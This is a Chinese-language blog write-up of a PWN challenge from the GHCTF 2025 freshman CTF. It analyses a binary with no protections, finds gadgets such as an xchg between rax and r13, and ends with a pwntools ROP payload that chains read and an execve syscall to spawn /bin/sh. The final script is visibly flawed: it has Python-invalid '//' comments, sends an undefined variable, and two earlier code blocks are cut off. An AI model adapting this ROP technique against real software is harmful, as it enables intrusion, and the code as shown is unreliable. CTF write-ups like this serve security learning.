GHCTF有感
前言
学校的新生赛,小登是废物,不太会布栈那道(不怎么动调的报应来了),现在分析一下。
[官方的wp | iyheart的博客](https://iyheart.github.io/2025/03/09/CTFblog/write up系列blog/2025年/GHCTF2025-PWN方向wp/)
分析
checksec查看文件,没开任何保护,考虑的做法有ret2shellcode和ret2syscall。
再看ida分析内容,发现程序只有两部分内容,一是打印图像,二是读取。关键在于读取这一部分,发现它不是常规的syscall ret
而是syscall jmp [rsp+8+var_8]
(var_8= qword ptr -8),即程序读取后会跳转到rsp所储存的位置。
再试试ropper查看gadget,发现基本上少的可怜,再看ida给出了几条关键的gadgets。
如上所示,给了rsi rdi rdx的gadgets,但是没有rax相关的gadget,再看

哎,xchg可以交换rax和r13的值,所以我们可以控制r13进而控制rax。
至此,分析基本结束,开始布栈
泄漏栈地址
我对这一部分比较熟悉,先做。
我的wp
挺抽象的东西,我的大致思路是借助r15来控制程序流,再进一步修改各个寄存器的值。
from pwn import * |
实际动调出来结果是:
分析
看上去似乎是可以的,但实际上就是一坨。程序会卡住,而不是获得shell。
仔细对比我的动调过程和官方的wp的动调过程,得知:
最大的错误:
- 我是先将pop_r13传入rsp,而不是pop_r15。这种做法导致我基本是是靠r15来控制程序流,而不是rsp。并且最后将xchg_rax_r13的地址传入到r15去,从而导致xchg_rax_r13指令多次发生
其他问题
- 我传给rdi是b’/bin/sh\x00’这个字符串,但实际上我要传入的是储存/bin/sh\x00的地址
所以我要修改的地方有两处:
- 泄漏栈地址,将/bin/sh传入栈上
- 修改栈布局,直接传入pop_r15
布栈思路
我再次仔细看了下gadgets,发现syscall后面跟着的就是xchg和jmp rsp,借助这里的rsp,我们就可以再次控制程序流
具体栈如下:
最终wp
from pwn import * |
只布栈
构造两个函数,一个read一个system
栈布置如下
exp
from pwn import *
context(arch = 'amd64')
p = process('./stack')
pop_rbx = 0x401019
xchg_rax_r13 = 0x40100c
pop_r15 = 0x40101C
pop_rsi = 0x401017
bss = 0x402000
syscall = 0x40100A
xor_rdx=0x401021
//read部分
payload = p64(pop_rbx) + p64(0x0) + p64(xchg_rax_r13) + p64(pop_r15) + p64(pop_rsi)
payload += p64(bss) + p64(0x0) + p64(0x0)
payload += p64(0x0) + p64(syscall)
//system部分
payload +=p64(pop_r15) +p64(pop_r15)
payload += p64(0x0) + p64(bss) + p64(0x0) + p64(0x3b) + p64(syscall) + p64(xor_rdx)
p.sendlineafter(b'>>',a)
p.send(b'/bin/sh\x00')
p.interactive()
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Epochlcc'blog!